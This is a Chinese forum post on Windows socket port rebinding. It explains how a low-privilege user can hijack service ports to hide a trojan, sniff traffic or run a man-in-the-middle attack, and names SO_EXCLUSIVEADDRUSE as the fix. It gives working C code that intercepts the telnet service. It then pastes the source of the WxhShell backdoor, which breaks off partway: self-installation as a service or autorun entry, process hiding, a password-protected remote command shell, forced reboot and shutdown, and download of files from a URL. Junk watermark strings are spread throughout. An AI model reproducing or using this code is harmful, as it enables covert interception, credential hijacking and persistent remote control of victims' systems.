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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2H>aC wfX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 mHk =J~  
2+&R" #I  
  saddr.sin_family = AF_INET; r./z,4A`  
#4q1{)=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '^B3pR:  
1<ehV VP   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zP|*(*  
lrn+d$!@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zx9.pFc"  
r8+*|$K  
  这意味着什么?意味着可以进行如下的攻击: )(.%QSA\C  
X}?ESjZJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (NM6micc  
<>&89E%j'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !?n50  
7BK46x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 776 nWw)  
!*8#jy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PAr|1i)mB  
3z$HKG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RSFJu\0}N  
jDJ.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^ `E@/<w8  
aulaX/'-_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i&1U4q  
?d#Lr*m  
  #include !4L#$VG  
  #include ?.~]mvOR  
  #include bWUS9WT  
  #include    sxt`0oE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R;.d/U|av  
  int main() &R0OeRToUb  
  { ;h~?ko  
  WORD wVersionRequested; LEA;dSf  
  DWORD ret; &E`9>&~J  
  WSADATA wsaData; GP Ix@k  
  BOOL val; tgK x4  
  SOCKADDR_IN saddr; +RdI;QmM  
  SOCKADDR_IN scaddr; -t%L#1k  
  int err; CR.bMF}  
  SOCKET s; `M,Nd'5&|  
  SOCKET sc; #,)P N @P  
  int caddsize; v=j>^F Z  
  HANDLE mt; G u6[{u  
  DWORD tid;   >]^>gUmq  
  wVersionRequested = MAKEWORD( 2, 2 ); Io09W^  
  err = WSAStartup( wVersionRequested, &wsaData ); 98jD"*W5  
  if ( err != 0 ) { .r(^h/IF  
  printf("error!WSAStartup failed!\n"); h1E PaL  
  return -1; FBcm;cjH  
  } M,ppCHy/$  
  saddr.sin_family = AF_INET; ?C FS}v  
   TJE% U0Ln  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {$3j/b  
 JUmw$u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ko]QCLL  
  saddr.sin_port = htons(23); 8>2&h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ws. ?cCTpt  
  { "h QV9 [2\  
  printf("error!socket failed!\n"); S]vW&r3`  
  return -1; 6xyY+  
  } FBYll[8  
  val = TRUE; )K8P+zn~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dEL3?-;'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5Zzr5 WM  
  { n#)PvV~  
  printf("error!setsockopt failed!\n"); C0P*D,  
  return -1; aX:#'eDB  
  } jGJ.Pvc>i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;gdi=>S_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S!u6dz^[$X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  dD:  
T4Xtuu1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4,gol?a  
  { =rtS#u Y  
  ret=GetLastError(); yi sF5`+  
  printf("error!bind failed!\n"); xGwTk  
  return -1; poTl|y @  
  } |X,$?ZDap  
  listen(s,2); 4t,zHR6W  
  while(1) oo;;y,`8py  
  { IkiQ Ok  
  caddsize = sizeof(scaddr); !T)T_P[  
  //接受连接请求 Ng?apaIi@~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u,:CJ[3  
  if(sc!=INVALID_SOCKET) j l}!T[5  
  { Fecx';_1`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mx:J>SPA8  
  if(mt==NULL) 8e]z6:}'E  
  { >0kmRVd  
  printf("Thread Creat Failed!\n"); Czq1 kz  
  break; xX[?L9RGz  
  } <Z2(qZ^Z  
  } 1 ,#{X3  
  CloseHandle(mt); jB5>y&+  
  } I93 ~8wQ  
  closesocket(s); ,}eRnl\  
  WSACleanup(); F_ ,L 2J  
  return 0; vsu@PuqH  
  }   x%_qJ]o  
  DWORD WINAPI ClientThread(LPVOID lpParam) oNiToFbQu  
  { := ]sq}IN  
  SOCKET ss = (SOCKET)lpParam; JmnBq<&,0  
  SOCKET sc; R)sp  
  unsigned char buf[4096]; 3Ne9% "  
  SOCKADDR_IN saddr; i7i|370  
  long num; #;wkr))  
  DWORD val; Uzan7A  
  DWORD ret; /'R UA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DZ%g^DRZX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nYI/&B{p  
  saddr.sin_family = AF_INET; oq=?i%'>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sKe9at^E]>  
  saddr.sin_port = htons(23); `Ev A\f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uuwq7oFub  
  { +vSCR (n  
  printf("error!socket failed!\n"); |h#DL$  
  return -1; JZs|~@  
  } ,k4z;  
  val = 100; >2]Eaw&W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) * i=?0M4S  
  { w{_e"N  
  ret = GetLastError(); +A]&AkTw  
  return -1; Y&oP>n! ei  
  } ):/<H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y_}K?  
  { ~C}(\8g  
  ret = GetLastError(); ?2J S&i  
  return -1; 3g?MEM~  
  } ${jA+L<J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?l)}E  
  { ^Nd|+}  
  printf("error!socket connect failed!\n"); dH ^b)G4  
  closesocket(sc); tqff84  
  closesocket(ss); `f\5p+!<7R  
  return -1; =XZF.ur  
  } pb=jvK  
  while(1) <Cf7E  
  { &(5^v w<0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5W?yj>JR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g28S3 '2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g\ 8#:@at  
  num = recv(ss,buf,4096,0); nU=f<]S=  
  if(num>0) fK)ZJ_?w,@  
  send(sc,buf,num,0); y8<lp+  
  else if(num==0) c,6<7  
  break; sh',"S#=@  
  num = recv(sc,buf,4096,0); L#t-KLJ  
  if(num>0) o{ ,ba~$.w  
  send(ss,buf,num,0); *Gk<"pEeS  
  else if(num==0) 3Ew"[FUs  
  break; a -z23$3  
  } UPfFT^=y  
  closesocket(ss); iFAoAw(  
  closesocket(sc); gE-w]/1zD5  
  return 0 ; q8'@dH  
  } 9pVf2|5hj  
v`z=OHc  
z4%Z6Y  
========================================================== 1A|x$j6m  
q3,P|&T  
下边附上一个代码,,WXhSHELL zxk??0] /  
%4|n-`:  
========================================================== _'?8s6 H  
RT.wTJS;  
#include "stdafx.h" WU+Jo@]y  
"}]GQt< F  
#include <stdio.h> EWu iaw.  
#include <string.h> d&[M8(  
#include <windows.h> *pcbwd!/  
#include <winsock2.h> ZaukMEq  
#include <winsvc.h> oW yN:Qh  
#include <urlmon.h> b6LC$"t0  
C:tSCNH[  
#pragma comment (lib, "Ws2_32.lib") [I+)Ak5  
#pragma comment (lib, "urlmon.lib") +WV_`Rx#  
e5WdK  
#define MAX_USER   100 // 最大客户端连接数 >6.[i@RmWU  
#define BUF_SOCK   200 // sock buffer Xa?6#  
#define KEY_BUFF   255 // 输入 buffer )+jK0E1  
g9FVb7In_  
#define REBOOT     0   // 重启 Ov~S2?E8  
#define SHUTDOWN   1   // 关机 5CH-:|(;=  
S`GXiwk  
#define DEF_PORT   5000 // 监听端口 C$AIP\j- )  
Hnd9T(UB  
#define REG_LEN     16   // 注册表键长度 )|{1&F1  
#define SVC_LEN     80   // NT服务名长度 UtW"U0A  
c{]r{FAx9o  
// 从dll定义API &9RW9u "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e-Ybac%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6g~o3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i-i}`oN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  MrKU,-  
|mQtjo  
// wxhshell配置信息 )"pxry4v7J  
struct WSCFG { ery?G-  
  int ws_port;         // 监听端口 ZZ]OR;8  
  char ws_passstr[REG_LEN]; // 口令 @MlU!oR&  
  int ws_autoins;       // 安装标记, 1=yes 0=no <WHs  
  char ws_regname[REG_LEN]; // 注册表键名 "a0u-}/D  
  char ws_svcname[REG_LEN]; // 服务名 ~kSnXJv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f}9PEpa,Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H/^TXqQ8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lH,]ZA./  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +AgkPMy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !"Oj$c -  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^?K?\   
2 d>d(^  
}; :YRzI(4J  
U!;aM*67  
// default Wxhshell configuration "dLMBY~  
struct WSCFG wscfg={DEF_PORT, Q[ 9rA  
    "xuhuanlingzhe", ,/w852|ub  
    1, [F AOp@7W  
    "Wxhshell", `:bvuc(  
    "Wxhshell", ~ ];6hxv  
            "WxhShell Service", Q#J>vwi=  
    "Wrsky Windows CmdShell Service", >F\rBc&  
    "Please Input Your Password: ", A&}nRP9  
  1, `%mBu`A  
  "http://www.wrsky.com/wxhshell.exe", X#Dhk6  
  "Wxhshell.exe" ?,i#B'Z^  
    }; sS1J.R  
o7 @4=m}  
// 消息定义模块 SqA+u/"j2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?ck^? p7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1EAVMJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *OGXu07 !  
char *msg_ws_ext="\n\rExit."; Gwrx) Mq  
char *msg_ws_end="\n\rQuit.";  +,F= -  
char *msg_ws_boot="\n\rReboot..."; ax{-Qi7z-+  
char *msg_ws_poff="\n\rShutdown..."; lU50.7<08  
char *msg_ws_down="\n\rSave to "; f@;>M9)<  
zZ+LisSs&  
char *msg_ws_err="\n\rErr!"; P^_d$  
char *msg_ws_ok="\n\rOK!"; Ng_rb KXC#  
\}4#**]  
char ExeFile[MAX_PATH]; 2=/g~rp*  
int nUser = 0; RZ/+ K=  
HANDLE handles[MAX_USER]; Og;$P 'U  
int OsIsNt; 32-3C6f@oZ  
bKt3x+x(  
SERVICE_STATUS       serviceStatus; vVAZSR#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m[xf./@f{  
ZoNNM4M+  
// 函数声明 9a~BAH,j  
int Install(void); 6ImV5^l  
int Uninstall(void); /nMqEHCyg  
int DownloadFile(char *sURL, SOCKET wsh); Vm1c-,)3  
int Boot(int flag); $ Op/5j  
void HideProc(void); {^$"/hj  
int GetOsVer(void); VQ,\O  
int Wxhshell(SOCKET wsl); 1:;&wf  
void TalkWithClient(void *cs); LnRi+n[@7  
int CmdShell(SOCKET sock); qq9tBCk  
int StartFromService(void); RP@idz  
int StartWxhshell(LPSTR lpCmdLine); ^K 77V$v  
.J6 j"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9J;H.:WH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ukDH@/  
Alk* "p  
// 数据结构和表定义 YI),q.3X~  
SERVICE_TABLE_ENTRY DispatchTable[] = 9 <kkzy  
{  _7j/[  
{wscfg.ws_svcname, NTServiceMain}, 4Utx 9^  
{NULL, NULL} 4qSS<SqY  
}; qYu!:xa8  
(krG0S:0Q  
// 自我安装 RH'F<!p  
int Install(void) *(SBl}f4l  
{ FO'. a  
  char svExeFile[MAX_PATH]; ZV<y=F*~f  
  HKEY key; *}iT6OJ  
  strcpy(svExeFile,ExeFile); Wn,g!rB^@  
| C2.Zay  
// 如果是win9x系统,修改注册表设为自启动 Ko]h r  
if(!OsIsNt) { tv=FFfQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U5ud?z()OA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f s"V'E2a  
  RegCloseKey(key); p_40V%y^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @%@^5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %{VI-CQ  
  RegCloseKey(key); %"KWjwp  
  return 0; Bzy=@]`  
    } OB  i!fLa  
  } qP^0($  
} E~g}DKs_5  
else { sImxa`kb  
J0WXH/:  
// 如果是NT以上系统,安装为系统服务 A[$wxdc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C^42=?  
if (schSCManager!=0) /h.3<HI."*  
{ wsGq>F~  
  SC_HANDLE schService = CreateService Jp*AIj  
  ( VU'l~%ql  
  schSCManager, JK8@J9(#  
  wscfg.ws_svcname, (PrPH/$  
  wscfg.ws_svcdisp, <ZvPtW  
  SERVICE_ALL_ACCESS, BLH3$*,H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UCj#t!Mw  
  SERVICE_AUTO_START, Dp6"I!L<|  
  SERVICE_ERROR_NORMAL, 5~R{,]52  
  svExeFile, p*&LEjaVM4  
  NULL, :ktX7p~  
  NULL, [ MXXY  
  NULL, ?QIQ,?.  
  NULL, <sFf'W_3{  
  NULL yExyx?j.  
  ); oD}FJvV  
  if (schService!=0) WT {Cjn  
  { Vq7 kA "  
  CloseServiceHandle(schService); "yq;{AGOGl  
  CloseServiceHandle(schSCManager); \w_[tPz}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >E,L"&_j  
  strcat(svExeFile,wscfg.ws_svcname); BHE =Zo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { np>!lF:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KeOBbe  
  RegCloseKey(key); K$vRk5U  
  return 0; C`_D{r  
    } 5F+ f'~  
  } !<PTsk F  
  CloseServiceHandle(schSCManager); Z6AU%3]  
} L8K3&[l%  
} l3|>*szX  
MmX[xk  
return 1; R]s jG <  
} GQ)cUrXQz  
m)RxV@  
// 自我卸载 ;3}b&Z[N]  
int Uninstall(void) d@4=XSj  
{ Fl>j5[kLZ  
  HKEY key; ,F9wc<V8  
p[VCt" j  
if(!OsIsNt) { EGr5xR-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k+G4<qw  
  RegDeleteValue(key,wscfg.ws_regname); vlyNQ7"%  
  RegCloseKey(key); CKt~#$ I%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h?tV>x/Fu  
  RegDeleteValue(key,wscfg.ws_regname); VzM@DM]=~  
  RegCloseKey(key); vgZPDf|  
  return 0; ghQsS|)p.  
  } M6Z`Pwv];  
} acZ|H  
} J; Xz'0  
else { :*%\i' $!/  
e/D\7Pf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); , ZW.P`  
if (schSCManager!=0) L`@&0Zk  
{ ?gP/XjToMg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |-Klh  
  if (schService!=0) \`9|~!,Ix7  
  { { 3P!b|V>  
  if(DeleteService(schService)!=0) { 9JeGjkG,  
  CloseServiceHandle(schService); 2qR@: ^  
  CloseServiceHandle(schSCManager); iZ;jn8  
  return 0; #{`NJ2DU]  
  } {"(|oIo{  
  CloseServiceHandle(schService); k ZEy  
  } uH h2>Px  
  CloseServiceHandle(schSCManager); -xEg"dY/  
} mYRR==iDL  
} r~a}B.pj  
[/^g) ^s:  
return 1; m,_oX1h  
} 1fp&"K:yR  
yf>,oNIAg  
// 从指定url下载文件 1@@]h!>k:  
int DownloadFile(char *sURL, SOCKET wsh) ~;a* Oxt  
{ )p](*Z^  
  HRESULT hr; GDe$p;#"9g  
char seps[]= "/"; >%A=b}VS  
char *token; Y{{,62D  
char *file; l%w|f`B:  
char myURL[MAX_PATH]; B|w}z1.  
char myFILE[MAX_PATH]; $jL.TraV7  
uty]-k   
strcpy(myURL,sURL); L )"w-,zy  
  token=strtok(myURL,seps); RS=7W._W  
  while(token!=NULL) fP*C*4#X  
  { KDzIarC  
    file=token; 7cSvAX0Z.  
  token=strtok(NULL,seps); 0drc^rj !  
  } >CA1Ub&ls  
9{&x-ugM  
GetCurrentDirectory(MAX_PATH,myFILE); 49>yIuG  
strcat(myFILE, "\\"); +eat,3Ji  
strcat(myFILE, file);  %tjEVQa  
  send(wsh,myFILE,strlen(myFILE),0); E_*T0&P.P  
send(wsh,"...",3,0); a MD?^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $(hZw  
  if(hr==S_OK) @g?z>n n  
return 0; A#\X-8/  
else xk<0QYv   
return 1; Jx,s.Z0@7,  
S!bvU2d  
} 8;bOw  
4K,&Q/Vdd7  
// 系统电源模块 SxyFFt  
int Boot(int flag) %|||M=akk  
{ '/@VG_9L]  
  HANDLE hToken; ^ `9OA`2  
  TOKEN_PRIVILEGES tkp; g M.(BN  
iE{SqX  
  if(OsIsNt) { eLWzd_ln  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ![Y$[l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #6nA^K}  
    tkp.PrivilegeCount = 1; IEj`:]d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z r*ytbt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FL}8h/  
if(flag==REBOOT) { @bE?WXY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H$HhB8z3  
  return 0; !ym5' h  
} ng\S%nA&J  
else { ~Y$1OA8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Il[WXt<S  
  return 0; $NSYQF%aO  
} O5"80z38[  
  } VzNH%  
  else { r,\(Y@I  
if(flag==REBOOT) { *+ayC{!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nfR5W~%*:  
  return 0; v?t+%|dzA  
} 0J B"@U&-  
else { v\Gu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QUO?q+  
  return 0; epePx0N%x$  
} 36z{TWF  
} Sx7xb]3XI"  
NH!! .Z"  
return 1; 'L7.a'  
} \wP$"Z}j  
B;$5*3D+  
// win9x进程隐藏模块 ny0`~bl{p  
void HideProc(void) rA7S1)Kq  
{ q Sah_N  
Ib C)F> Dq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nsy.!,!c  
  if ( hKernel != NULL ) bjZ?WZr  
  { ^  +G> N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ud1E@4;qf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?6gI8K6X  
    FreeLibrary(hKernel); QS_xOQ '  
  } 0o`o'ZV=c  
5,3h'\ "!  
return; h&P[9:LH  
} N~_gT Jr~P  
:8FH{sqR  
// 获取操作系统版本 z%z$'m  
int GetOsVer(void) +xa2e?A%L  
{ YrX{,YtiX  
  OSVERSIONINFO winfo; G5Nub9_*X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _;9)^})$  
  GetVersionEx(&winfo); ~drNlt9jf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W3#L!&z_wK  
  return 1; 5Dd;?T>  
  else 6\L,L &  
  return 0; VEk|lX;2  
} .)Q'j94Q  
>jIc/yEYKI  
// 客户端句柄模块 f3O'lc3  
int Wxhshell(SOCKET wsl) }OZfsYPz}T  
{ d p].FS  
  SOCKET wsh; qp8;=Nfa  
  struct sockaddr_in client; x :s-\>RcA  
  DWORD myID; 3zkq'lZ  
d4U_Wu&  
  while(nUser<MAX_USER) -#@;-2w  
{ ZzY6M"eUXD  
  int nSize=sizeof(client); bk 2vce&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2epL!j)Wh  
  if(wsh==INVALID_SOCKET) return 1; uu:BN0  
=:lacK(0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <cS1}"  
if(handles[nUser]==0) o z QL2  
  closesocket(wsh); )DW;Gc  
else ;NEHbLH#F  
  nUser++; <_}u5E)7(  
  } _XN sDW4|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E;SF f  
;C3](  
  return 0;  zcc]5>  
} [F e5a  
vKxwv YDe  
// 关闭 socket GauIe0qV  
void CloseIt(SOCKET wsh) Ag-*DH0  
{ BQ(`MM@  
closesocket(wsh); v "07H  
nUser--; q>?oV(sF  
ExitThread(0); mOBS[M5*  
} 59|Tmf(dS;  
%q@@0qenv  
// 客户端请求句柄 y~w$>7U.  
void TalkWithClient(void *cs) I#0$5a},u^  
{ z\a#"2(G.  
YRl2e`&jt  
  SOCKET wsh=(SOCKET)cs; Xv6s,<#\  
  char pwd[SVC_LEN]; 5_PD ?lg  
  char cmd[KEY_BUFF]; KpWQ;3D2  
char chr[1]; g]S.u8K8m  
int i,j; DY%E&Vd:h  
}Q*8QV  
  while (nUser < MAX_USER) { :%{8lanO  
-Rmz`yOq}  
if(wscfg.ws_passstr) { MCvjdc3:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3>Yec6Hs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !,]_tw>R  
  //ZeroMemory(pwd,KEY_BUFF); |&7l*j(\  
      i=0; 6<2 7}S  
  while(i<SVC_LEN) { <7qM;) g  
$8b/"Qm  
  // 设置超时 k;]&`c^5  
  fd_set FdRead; 0 @>3fR  
  struct timeval TimeOut; 9d v+u6)  
  FD_ZERO(&FdRead); "&An9H'  
  FD_SET(wsh,&FdRead); $WDa} ~j~^  
  TimeOut.tv_sec=8; XWk^$"  
  TimeOut.tv_usec=0; Xln'~5~)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ /o`CV{O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ie5"  
(%".=x-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =2< >dM#`  
  pwd=chr[0]; w%kxY5q  
  if(chr[0]==0xd || chr[0]==0xa) { &N,c:dNe  
  pwd=0; ,+f'%)s_x  
  break; KV Mm<]Z  
  } EBJaFz'  
  i++; r>5,U:6Q/  
    } *@dqAr%  
t>^An:xT  
  // 如果是非法用户,关闭 socket C{4[7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  RszqDm  
} SNcaIzbr  
+<I>]J2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1^vN?#K t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rgg(rF=K6  
74>.E^ /x  
while(1) {  'y1=Z  
f>dWl$/_s  
  ZeroMemory(cmd,KEY_BUFF); 7JjTm^bu  
~G"5!,J  
      // 自动支持客户端 telnet标准   Rc @p!Xi  
  j=0; rZ<@MV|d  
  while(j<KEY_BUFF) { rB-&'#3%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ujY+ {  
  cmd[j]=chr[0]; XB2[{XH,  
  if(chr[0]==0xa || chr[0]==0xd) { ?EdF&^[3rD  
  cmd[j]=0; JPRl/P$  
  break; -(P"+g3T  
  } HI55):Eb  
  j++; b:oB $E  
    } gW RSS=8%  
2!}5shB  
  // 下载文件 |GLa `2q|  
  if(strstr(cmd,"http://")) { y<MXd,eE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oQAD 3a  
  if(DownloadFile(cmd,wsh)) c&ymVB?G:1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8(94t|;U  
  else [+UF]m%W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |-bAz t  
  } <a; <|Fm.  
  else { h",kA(+P  
><+wHb  
    switch(cmd[0]) { S U04q+  
  n1X7T0'  
  // 帮助 ZJ1 %  
  case '?': { ry0P\wY}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !IF#L0z  
    break; pxjb^GZ0  
  } 7xqTTN6h  
  // 安装 a%cCR=s=  
  case 'i': { =XuBan3B>  
    if(Install()) !;>j(xc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<odXFIS  
    else r$d,ChzQn?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zyTeF~_  
    break; Xi$2MyRd  
    } sk6C/ '0:  
  // 卸载 Xf(H_&K  
  case 'r': { Z$"E|nRN  
    if(Uninstall()) Tc$Jvy-G4A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eT0Yp  
    else <'f+ nC=2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K 0R<a~  
    break; ?hHVawt  
    } {oOzXc6o  
  // 显示 wxhshell 所在路径 hV_bm@f/y  
  case 'p': { %|Sh|\6A!  
    char svExeFile[MAX_PATH]; lcO;3CrJ!  
    strcpy(svExeFile,"\n\r"); 0ZcvpR?G  
      strcat(svExeFile,ExeFile); [z=KHk  
        send(wsh,svExeFile,strlen(svExeFile),0); sF[7pE  
    break; <A"[Wk  
    } Xy0*1$IS]  
  // 重启 SHWD@WLE4  
  case 'b': { +es|0;Z4yP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9}G.Fr  
    if(Boot(REBOOT)) AUBZ7*VO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j S~W cu  
    else { Q*&k6A"jx  
    closesocket(wsh); 3 vr T`  
    ExitThread(0); W~b->F  
    } f-$%Ck$%,  
    break; gqw ]L>Z  
    } ^N# z&oh  
  // 关机 Q6%dM'fR  
  case 'd': { s 1~&PH^  
